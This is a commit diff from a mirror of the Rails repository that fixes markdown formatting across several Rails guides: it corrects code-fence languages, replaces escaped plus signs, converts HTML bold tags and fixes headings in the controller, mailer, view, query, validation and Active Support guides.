mirror of https://github.com/rails/rails
Fix remaining formatting problems in the guide
This commit is contained in:
parent
5a4622b8b8
commit
721afdcc4b
|
@ -120,7 +120,7 @@ If you're writing a web service application, you might find yourself more comfor
|
|||
|
||||
So for example, if you are sending this JSON parameter:
|
||||
|
||||
```
|
||||
```json
|
||||
{ "company": { "name": "acme", "address": "123 Carrot Street" } }
|
||||
```
|
||||
|
||||
|
@ -128,7 +128,7 @@ You'll get `params[:company]` as `{ :name => "acme", "address" => "123 Carrot St
|
|||
|
||||
Also, if you've turned on `config.wrap_parameters` in your initializer or calling `wrap_parameters` in your controller, you can safely omit the root element in the JSON/XML parameter. The parameters will be cloned and wrapped in the key according to your controller's name by default. So the above parameter can be written as:
|
||||
|
||||
```
|
||||
```json
|
||||
{ "name": "acme", "address": "123 Carrot Street" }
|
||||
```
|
||||
|
||||
|
@ -309,7 +309,7 @@ redirect_to root_url, :flash => { :referral_code => 1234 }
|
|||
|
||||
The `destroy` action redirects to the application's `root_url`, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display any error alerts or notices from the flash in the application's layout:
|
||||
|
||||
```ruby
|
||||
```erb
|
||||
<html>
|
||||
<!-- <head/> -->
|
||||
<body>
|
||||
|
@ -328,7 +328,7 @@ This way, if an action sets a notice or an alert message, the layout will displa
|
|||
|
||||
You can pass anything that the session can store; you're not limited to notices and alerts:
|
||||
|
||||
```ruby
|
||||
```erb
|
||||
<% if flash[:just_signed_up] %>
|
||||
<p class="welcome">Welcome to our site!</p>
|
||||
<% end %>
|
||||
|
@ -549,7 +549,7 @@ The way this is done is to add a non-guessable token which is only known to your
|
|||
|
||||
If you generate a form like this:
|
||||
|
||||
```ruby
|
||||
```erb
|
||||
<%= form_for @user do |f| %>
|
||||
<%= f.text_field :username %>
|
||||
<%= f.text_field :password %>
|
||||
|
|
|
@ -67,7 +67,7 @@ Just like controllers, any instance variables we define in the method become ava
|
|||
|
||||
Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This will be the template used for the email, formatted in HTML:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
|
@ -226,7 +226,7 @@ end
|
|||
|
||||
* Then in your view, you can just reference `attachments[]` as a hash and specify which attachment you want to show, calling `url` on it and then passing the result into the `image_tag` method:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<p>Hello there, this is our image</p>
|
||||
|
||||
<%= image_tag attachments['image.jpg'].url %>
|
||||
|
@ -234,7 +234,7 @@ end
|
|||
|
||||
* As this is a standard call to `image_tag` you can pass in an options hash after the attachment URL as you could for any other image:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<p>Hello there, this is our image</p>
|
||||
|
||||
<%= image_tag attachments['image.jpg'].url, :alt => 'My Photo',
|
||||
|
@ -262,7 +262,7 @@ The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:
|
|||
#### Sending Email With Name
|
||||
|
||||
Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is
|
||||
to format the email address in the format `"Name <email>"`.
|
||||
to format the email address in the format `"Name <email>"`.
|
||||
|
||||
```ruby
|
||||
def welcome_email(user)
|
||||
|
@ -470,6 +470,8 @@ Action Mailer Configuration
|
|||
|
||||
The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...)
|
||||
|
||||
| Configuration | Description |
|
||||
|---------------|-------------|
|
||||
|`template_root`|Determines the base from which template references will be made.|
|
||||
|`logger`|Generates information on the mailing run if available. Can be set to `nil` for no logging. Compatible with both Ruby's own `Logger` and `Log4r` loggers.|
|
||||
|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - If your mail server requires authentication, set the password in this setting.</li><li>`:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.</li><li>`:enable_starttls_auto` - Set this to `false` if there is a problem with your server certificate that you cannot resolve.</li></ul>|
|
||||
|
|
|
@ -133,7 +133,7 @@ Within an ERB template Ruby code can be included using both `<% %>` and `<%= %>`
|
|||
|
||||
Consider the following loop for names:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<b>Names of all the people</b>
|
||||
<% @people.each do |person| %>
|
||||
Name: <%= person.name %><br/>
|
||||
|
@ -142,7 +142,7 @@ Consider the following loop for names:
|
|||
|
||||
The loop is setup in regular embedding tags `<% %>` and the name is written using the output embedding tag `<%= %>`. Note that this is not just a usage suggestion, for Regular output functions like print or puts won't work with ERB templates. So this would be wrong:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<%# WRONG %>
|
||||
Hi, Mr. <% puts "Frodo" %>
|
||||
```
|
||||
|
@ -226,13 +226,13 @@ Partial templates – usually just called "partials" – are another device for
|
|||
|
||||
To render a partial as part of a view, you use the `render` method within the view:
|
||||
|
||||
```ruby
|
||||
```erb
|
||||
<%= render "menu" %>
|
||||
```
|
||||
|
||||
This will render a file named `_menu.html.erb` at that point within the view is being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
|
||||
|
||||
```ruby
|
||||
```erb
|
||||
<%= render "shared/menu" %>
|
||||
```
|
||||
|
||||
|
@ -242,7 +242,7 @@ That code will pull in the partial from `app/views/shared/_menu.html.erb`.
|
|||
|
||||
One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
|
||||
|
||||
```erb
|
||||
```html+erb
|
||||
<%= render "shared/ad_banner" %>
|
||||
|
||||
<h1>Products</h1>
|
||||
|
@ -346,7 +346,7 @@ In the `show` template, we'll render the `post` partial wrapped in the `box` lay
|
|||
|
||||
*posts/show.html.erb*
|
||||
|
||||
```ruby
|
||||
```erb
|
||||
<%= render :partial => 'post', :layout => 'box', :locals => {:post => @post} %>
|
||||
```
|
||||
|
||||
|
@ -354,7 +354,7 @@ The `box` layout simply wraps the `post` partial in a `div`:
|
|||
|
||||
*posts/_box.html.erb*
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<div class='box'>
|
||||
<%= yield %>
|
||||
</div>
|
||||
|
@ -364,7 +364,7 @@ The `post` partial wraps the post's `body` in a `div` with the `id` of the post
|
|||
|
||||
*posts/_post.html.erb*
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<%= div_for(post) do %>
|
||||
<p><%= post.body %></p>
|
||||
<% end %>
|
||||
|
@ -386,7 +386,7 @@ You can also render a block of code within a partial layout instead of calling `
|
|||
|
||||
*posts/show.html.erb*
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<% render(:layout => 'box', :locals => {:post => @post}) do %>
|
||||
<%= div_for(post) do %>
|
||||
<p><%= post.body %></p>
|
||||
|
@ -471,7 +471,7 @@ Renders a container tag that relates to your Active Record Object.
|
|||
|
||||
For example, given `@post` is the object of `Post` class, you can do:
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<%= content_tag_for(:tr, @post) do %>
|
||||
<td><%= @post.title %></td>
|
||||
<% end %>
|
||||
|
@ -487,7 +487,7 @@ This will generate this HTML output:
|
|||
|
||||
You can also supply HTML attributes as an additional option hash. For example:
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<%= content_tag_for(:tr, @post, :class => "frontpage") do %>
|
||||
<td><%= @post.title %></td>
|
||||
<% end %>
|
||||
|
@ -503,7 +503,7 @@ Will generate this HTML output:
|
|||
|
||||
You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given `@posts` is an array of two `Post` objects:
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<%= content_tag_for(:tr, @posts) do |post| %>
|
||||
<td><%= post.title %></td>
|
||||
<% end %>
|
||||
|
@ -524,7 +524,7 @@ Will generate this HTML output:
|
|||
|
||||
This is actually a convenient method which calls `content_tag_for` internally with `:div` as the tag name. You can pass either an Active Record object or a collection of objects. For example:
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<%= div_for(@post, :class => "frontpage") do %>
|
||||
<td><%= @post.title %></td>
|
||||
<% end %>
|
||||
|
@ -745,7 +745,7 @@ end
|
|||
|
||||
Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation.
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<% benchmark "Process data files" do %>
|
||||
<%= expensive_files_operation %>
|
||||
<% end %>
|
||||
|
@ -759,7 +759,7 @@ This would add something like "Process data files (0.34523)" to the log, which y
|
|||
|
||||
A method for caching fragments of a view rather than an entire action or page. This technique is useful caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See `ActionController::Caching::Fragments` for more information.
|
||||
|
||||
```ruby
|
||||
```erb
|
||||
<% cache do %>
|
||||
<%= render "shared/footer" %>
|
||||
<% end %>
|
||||
|
@ -771,7 +771,7 @@ A method for caching fragments of a view rather than an entire action or page. T
|
|||
|
||||
The `capture` method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<% @greeting = capture do %>
|
||||
<p>Welcome! The date and time is <%= Time.now %></p>
|
||||
<% end %>
|
||||
|
@ -779,7 +779,7 @@ The `capture` method allows you to extract part of a template into a variable. Y
|
|||
|
||||
The captured variable can then be used anywhere else.
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<html>
|
||||
<head>
|
||||
<title>Welcome!</title>
|
||||
|
@ -798,7 +798,7 @@ For example, let's say we have a standard application layout, but also a special
|
|||
|
||||
*app/views/layouts/application.html.erb*
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<html>
|
||||
<head>
|
||||
<title>Welcome!</title>
|
||||
|
@ -812,7 +812,7 @@ For example, let's say we have a standard application layout, but also a special
|
|||
|
||||
*app/views/posts/special.html.erb*
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<p>This is a special page.</p>
|
||||
|
||||
<% content_for :special_script do %>
|
||||
|
@ -985,7 +985,7 @@ There are two types of form helpers: those that specifically work with model att
|
|||
|
||||
The core method of this helper, form_for, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it:
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
# Note: a @person variable will have been created in the controller (e.g. @person = Person.new)
|
||||
<%= form_for @person, :url => { :action => "create" } do |f| %>
|
||||
<%= f.text_field :first_name %>
|
||||
|
@ -1027,7 +1027,7 @@ check_box("post", "validated")
|
|||
|
||||
Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form:
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<%= form_for @person, :url => { :action => "update" } do |person_form| %>
|
||||
First name: <%= person_form.text_field :first_name %>
|
||||
Last name : <%= person_form.text_field :last_name %>
|
||||
|
@ -1051,7 +1051,7 @@ file_field(:user, :avatar)
|
|||
|
||||
Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields.
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<%= form_for @post do |f| %>
|
||||
<%= f.label :title, 'Title' %>:
|
||||
<%= f.text_field :title %><br />
|
||||
|
@ -1360,7 +1360,7 @@ check_box_tag 'accept'
|
|||
|
||||
Creates a field set for grouping HTML form elements.
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<%= field_set_tag do %>
|
||||
<p><%= text_field_tag 'name' %></p>
|
||||
<% end %>
|
||||
|
@ -1373,7 +1373,7 @@ Creates a file upload field.
|
|||
|
||||
Prior to Rails 3.1, if you are using file uploads, then you will need to set the multipart option for the form tag. Rails 3.1+ does this automatically.
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<%= form_tag { :action => "post" }, { :multipart => true } do %>
|
||||
<label for="file">File to Upload</label> <%= file_field_tag "file" %>
|
||||
<%= submit_tag %>
|
||||
|
@ -1391,7 +1391,7 @@ file_field_tag 'attachment'
|
|||
|
||||
Starts a form tag that points the action to an url configured with `url_for_options` just like `ActionController::Base#url_for`.
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<%= form_tag '/posts' do %>
|
||||
<div><%= submit_tag 'Save' %></div>
|
||||
<% end %>
|
||||
|
|
|
@ -71,7 +71,7 @@ end
|
|||
|
||||
### Conversion
|
||||
|
||||
If a class defines persisted? and id methods then you can include Conversion module in that class and you can able to call Rails conversion methods to objects of that class.
|
||||
If a class defines `persisted?` and `id` methods then you can include `Conversion` module in that class and you can able to call Rails conversion methods to objects of that class.
|
||||
|
||||
```ruby
|
||||
class Person
|
||||
|
|
|
@ -53,6 +53,7 @@ Retrieving Objects from the Database
|
|||
To retrieve objects from the database, Active Record provides several finder methods. Each finder method allows you to pass arguments into it to perform certain queries on your database without writing raw SQL.
|
||||
|
||||
The methods are:
|
||||
|
||||
* `bind`
|
||||
* `create_with`
|
||||
* `eager_load`
|
||||
|
@ -266,7 +267,7 @@ The SQL equivalent of the above is:
|
|||
SELECT * FROM clients WHERE (clients.id IN (1,10))
|
||||
```
|
||||
|
||||
WARNING: `Model.find(array_of_primary_key)` will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for <strong>all</strong> of the supplied primary keys.
|
||||
WARNING: `Model.find(array_of_primary_key)` will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for **all** of the supplied primary keys.
|
||||
|
||||
#### take
|
||||
|
||||
|
@ -548,8 +549,6 @@ To select only a subset of fields from the result set, you can specify the subse
|
|||
|
||||
NOTE: If the `select` method is used, all the returning objects will be [read only](#readonly-objects).
|
||||
|
||||
<br />
|
||||
|
||||
For example, to select only `viewable_by` and `locked` columns:
|
||||
|
||||
```ruby
|
||||
|
@ -568,7 +567,7 @@ Be careful because this also means you're initializing a model object with only
|
|||
ActiveModel::MissingAttributeError: missing attribute: <attribute>
|
||||
```
|
||||
|
||||
Where `<attribute>` is the attribute you asked for. The `id` method will not raise the `ActiveRecord::MissingAttributeError`, so just be careful when working with associations because they need the `id` method to function properly.
|
||||
Where `<attribute>` is the attribute you asked for. The `id` method will not raise the `ActiveRecord::MissingAttributeError`, so just be careful when working with associations because they need the `id` method to function properly.
|
||||
|
||||
If you would like to only grab a single record per unique value in a certain field, you can use `uniq`:
|
||||
|
||||
|
@ -650,7 +649,8 @@ SQL uses the `HAVING` clause to specify conditions on the `GROUP BY` fields. You
|
|||
For example:
|
||||
|
||||
```ruby
|
||||
Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)").having("sum(price) > ?", 100)
|
||||
Order.select("date(created_at) as ordered_date, sum(price) as total_price").
|
||||
group("date(created_at)").having("sum(price) > ?", 100)
|
||||
```
|
||||
|
||||
The SQL that would be executed would be something like this:
|
||||
|
@ -801,7 +801,7 @@ Active Record provides two locking mechanisms:
|
|||
|
||||
Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An `ActiveRecord::StaleObjectError` exception is thrown if that has occurred and the update is ignored.
|
||||
|
||||
<strong>Optimistic locking column</strong>
|
||||
**Optimistic locking column**
|
||||
|
||||
In order to use optimistic locking, the table needs to have a column called `lock_version` of type integer. Each time the record is updated, Active Record increments the `lock_version` column. If an update request is made with a lower value in the `lock_version` field than is currently in the `lock_version` column in the database, the update request will fail with an `ActiveRecord::StaleObjectError`. Example:
|
||||
|
||||
|
@ -938,7 +938,7 @@ SELECT categories.* FROM categories
|
|||
INNER JOIN posts ON posts.category_id = categories.id
|
||||
```
|
||||
|
||||
Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use Category.joins(:posts).select("distinct(categories.id)").
|
||||
Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use `Category.joins(:posts).select("distinct(categories.id)")`.
|
||||
|
||||
#### Joining Multiple Associations
|
||||
|
||||
|
@ -1011,7 +1011,7 @@ Eager Loading Associations
|
|||
|
||||
Eager loading is the mechanism for loading the associated records of the objects returned by `Model.find` using as few queries as possible.
|
||||
|
||||
<strong>N <plus> 1 queries problem</strong>
|
||||
**N + 1 queries problem**
|
||||
|
||||
Consider the following code, which finds 10 clients and prints their postcodes:
|
||||
|
||||
|
@ -1023,9 +1023,9 @@ clients.each do |client|
|
|||
end
|
||||
```
|
||||
|
||||
This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 ( to find 10 clients ) <plus> 10 ( one per each client to load the address ) = <strong>11</strong> queries in total.
|
||||
This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 (to find 10 clients) + 10 (one per each client to load the address) = **11** queries in total.
|
||||
|
||||
<strong>Solution to N <plus> 1 queries problem</strong>
|
||||
**Solution to N + 1 queries problem**
|
||||
|
||||
Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the `includes` method of the `Model.find` call. With `includes`, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries.
|
||||
|
||||
|
@ -1039,7 +1039,7 @@ clients.each do |client|
|
|||
end
|
||||
```
|
||||
|
||||
The above code will execute just <strong>2</strong> queries, as opposed to <strong>11</strong> queries in the previous case:
|
||||
The above code will execute just **2** queries, as opposed to **11** queries in the previous case:
|
||||
|
||||
```sql
|
||||
SELECT * FROM clients LIMIT 10
|
||||
|
@ -1324,8 +1324,7 @@ Client.find_by_sql("SELECT * FROM clients
|
|||
|
||||
`find_by_sql` provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
|
||||
|
||||
`select_all`
|
||||
------------
|
||||
### `select_all`
|
||||
|
||||
`find_by_sql` has a close relative called `connection#select_all`. `select_all` will retrieve objects from the database using custom SQL just like `find_by_sql` but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
|
||||
|
||||
|
@ -1333,8 +1332,7 @@ Client.find_by_sql("SELECT * FROM clients
|
|||
Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
|
||||
```
|
||||
|
||||
`pluck`
|
||||
-------
|
||||
### `pluck`
|
||||
|
||||
`pluck` can be used to query a single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type.
|
||||
|
||||
|
@ -1368,8 +1366,7 @@ Client.pluck(:id)
|
|||
Client.pluck(:id, :name)
|
||||
```
|
||||
|
||||
`ids`
|
||||
-----
|
||||
### `ids`
|
||||
|
||||
`ids` can be used to pluck all the IDs for the relation using the table's primary key.
|
||||
|
||||
|
@ -1532,12 +1529,12 @@ may yield
|
|||
|
||||
```
|
||||
EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `posts` ON `posts`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
|
||||
<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus>
|
||||
+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
|
||||
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
|
||||
<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus>
|
||||
+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
|
||||
| 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | |
|
||||
| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where |
|
||||
<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus>
|
||||
+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
|
||||
2 rows in set (0.00 sec)
|
||||
```
|
||||
|
||||
|
@ -1571,19 +1568,19 @@ yields
|
|||
|
||||
```
|
||||
EXPLAIN for: SELECT `users`.* FROM `users` WHERE `users`.`id` = 1
|
||||
<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus>
|
||||
+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
|
||||
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
|
||||
<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus>
|
||||
+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
|
||||
| 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | |
|
||||
<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus>
|
||||
+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
|
||||
1 row in set (0.00 sec)
|
||||
|
||||
EXPLAIN for: SELECT `posts`.* FROM `posts` WHERE `posts`.`user_id` IN (1)
|
||||
<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus>
|
||||
+----+-------------+-------+------+---------------+------+---------+------+------+-------------+
|
||||
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
|
||||
<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus>
|
||||
+----+-------------+-------+------+---------------+------+---------+------+------+-------------+
|
||||
| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where |
|
||||
<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus>
|
||||
+----+-------------+-------+------+---------------+------+---------+------+------+-------------+
|
||||
1 row in set (0.00 sec)
|
||||
```
|
||||
|
||||
|
|
|
@ -119,28 +119,28 @@ class Person < ActiveRecord::Base
|
|||
end
|
||||
|
||||
>> p = Person.new
|
||||
=> #<Person id: nil, name: nil>
|
||||
#=> #<Person id: nil, name: nil>
|
||||
>> p.errors
|
||||
=> {}
|
||||
#=> {}
|
||||
|
||||
>> p.valid?
|
||||
=> false
|
||||
#=> false
|
||||
>> p.errors
|
||||
=> {:name=>["can't be blank"]}
|
||||
#=> {:name=>["can't be blank"]}
|
||||
|
||||
>> p = Person.create
|
||||
=> #<Person id: nil, name: nil>
|
||||
#=> #<Person id: nil, name: nil>
|
||||
>> p.errors
|
||||
=> {:name=>["can't be blank"]}
|
||||
#=> {:name=>["can't be blank"]}
|
||||
|
||||
>> p.save
|
||||
=> false
|
||||
#=> false
|
||||
|
||||
>> p.save!
|
||||
=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
|
||||
#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
|
||||
|
||||
>> Person.create!
|
||||
=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
|
||||
#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
|
||||
```
|
||||
|
||||
`invalid?` is simply the inverse of `valid?`. `invalid?` triggers your validations, returning true if any errors were found in the object, and false otherwise.
|
||||
|
@ -333,7 +333,7 @@ This helper validates that your attributes have only numeric values. By default,
|
|||
If you set `:only_integer` to `true`, then it will use the
|
||||
|
||||
```ruby
|
||||
/\A[<plus>-]?\d<plus>\Z/
|
||||
/\A[+-]?\d+\Z/
|
||||
```
|
||||
|
||||
regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using `Float`.
|
||||
|
@ -535,7 +535,7 @@ class Person < ActiveRecord::Base
|
|||
validates :name, :presence => { :strict => true }
|
||||
end
|
||||
|
||||
Person.new.valid? => ActiveModel::StrictValidationFailed: Name can't be blank
|
||||
Person.new.valid? #=> ActiveModel::StrictValidationFailed: Name can't be blank
|
||||
```
|
||||
|
||||
There is also an ability to pass custom exception to `:strict` option
|
||||
|
@ -545,7 +545,7 @@ class Person < ActiveRecord::Base
|
|||
validates :token, :presence => true, :uniqueness => true, :strict => TokenGenerationException
|
||||
end
|
||||
|
||||
Person.new.valid? => TokenGenerationException: Token can't be blank
|
||||
Person.new.valid? #=> TokenGenerationException: Token can't be blank
|
||||
```
|
||||
|
||||
Conditional Validation
|
||||
|
@ -605,7 +605,7 @@ All validations inside of `with_options` block will have automatically passed th
|
|||
|
||||
### Combining validation conditions
|
||||
|
||||
On the other hand, when multiple conditions define whether or not a validation should happen, an `Array` can be used. Moreover, you can apply both `:if:` and `:unless` to the same validation.
|
||||
On the other hand, when multiple conditions define whether or not a validation should happen, an `Array` can be used. Moreover, you can apply both `:if` and `:unless` to the same validation.
|
||||
|
||||
```ruby
|
||||
class Computer < ActiveRecord::Base
|
||||
|
@ -646,7 +646,7 @@ The easiest way to add custom validators for validating individual attributes is
|
|||
```ruby
|
||||
class EmailValidator < ActiveModel::EachValidator
|
||||
def validate_each(record, attribute, value)
|
||||
unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i
|
||||
unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
|
||||
record.errors[attribute] << (options[:message] || "is not an email")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -343,7 +343,7 @@ This method escapes whatever is needed, both for the key and the value:
|
|||
|
||||
```ruby
|
||||
account.to_query('company[name]')
|
||||
# => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson"
|
||||
# => "company%5Bname%5D=Johnson+%26+Johnson"
|
||||
```
|
||||
|
||||
so its output is ready to be used in a query string.
|
||||
|
@ -1124,7 +1124,7 @@ NOTE: Defined in `active_support/core_ext/class/subclasses.rb`.
|
|||
|
||||
#### `descendants`
|
||||
|
||||
The `descendants` method returns all classes that are `<` than its receiver:
|
||||
The `descendants` method returns all classes that are `<` than its receiver:
|
||||
|
||||
```ruby
|
||||
class C; end
|
||||
|
@ -1151,7 +1151,7 @@ Extensions to `String`
|
|||
|
||||
#### Motivation
|
||||
|
||||
Inserting data into HTML templates needs extra care. For example, you can't just interpolate `@review.title` verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the "section about cross-site scripting in the [Security guide](security.html#cross-site-scripting-xss) for further information about the risks.
|
||||
Inserting data into HTML templates needs extra care. For example, you can't just interpolate `@review.title` verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the section about cross-site scripting in the [Security guide](security.html#cross-site-scripting-xss) for further information about the risks.
|
||||
|
||||
#### Safe Strings
|
||||
|
||||
|
@ -1855,7 +1855,7 @@ NOTE: Defined in `active_support/core_ext/numeric/bytes.rb`.
|
|||
|
||||
### Time
|
||||
|
||||
Enables the use of time calculations and declarations, like @45.minutes <plus> 2.hours <plus> 4.years@.
|
||||
Enables the use of time calculations and declarations, like `45.minutes + 2.hours + 4.years`.
|
||||
|
||||
These methods use Time#advance for precise date calculations when using from_now, ago, etc.
|
||||
as well as adding or subtracting their results from a Time object. For example:
|
||||
|
@ -1883,9 +1883,8 @@ converted before use:
|
|||
1.year.to_f.from_now
|
||||
```
|
||||
|
||||
In such cases, Ruby's core
|
||||
Date[http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html] and
|
||||
Time[http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html] should be used for precision
|
||||
In such cases, Ruby's core [Date](http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html) and
|
||||
[Time](http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html) should be used for precision
|
||||
date and time arithmetic.
|
||||
|
||||
NOTE: Defined in `active_support/core_ext/numeric/time.rb`.
|
||||
|
@ -2414,7 +2413,7 @@ The method `in_groups_of` splits an array into consecutive groups of a certain s
|
|||
|
||||
or yields them in turn if a block is passed:
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<% sample.in_groups_of(3) do |a, b, c| %>
|
||||
<tr>
|
||||
<td><%=h a %></td>
|
||||
|
@ -3585,7 +3584,7 @@ They are analogous. Please refer to their documentation above and take into acco
|
|||
Time.zone_default
|
||||
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
|
||||
|
||||
# In Barcelona, 2010/03/28 02:00 <plus>0100 becomes 2010/03/28 03:00 <plus>0200 due to DST.
|
||||
# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
|
||||
t = Time.local_time(2010, 3, 28, 1, 59, 59)
|
||||
# => Sun Mar 28 01:59:59 +0100 2010
|
||||
t.advance(:seconds => 1)
|
||||
|
@ -3608,7 +3607,7 @@ The method `all_day` returns a range representing the whole day of the current t
|
|||
now = Time.current
|
||||
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
|
||||
now.all_day
|
||||
# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00
|
||||
# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00
|
||||
```
|
||||
|
||||
Analogously, `all_week`, `all_month`, `all_quarter` and `all_year` all serve the purpose of generating time ranges.
|
||||
|
@ -3617,13 +3616,13 @@ Analogously, `all_week`, `all_month`, `all_quarter` and `all_year` all serve the
|
|||
now = Time.current
|
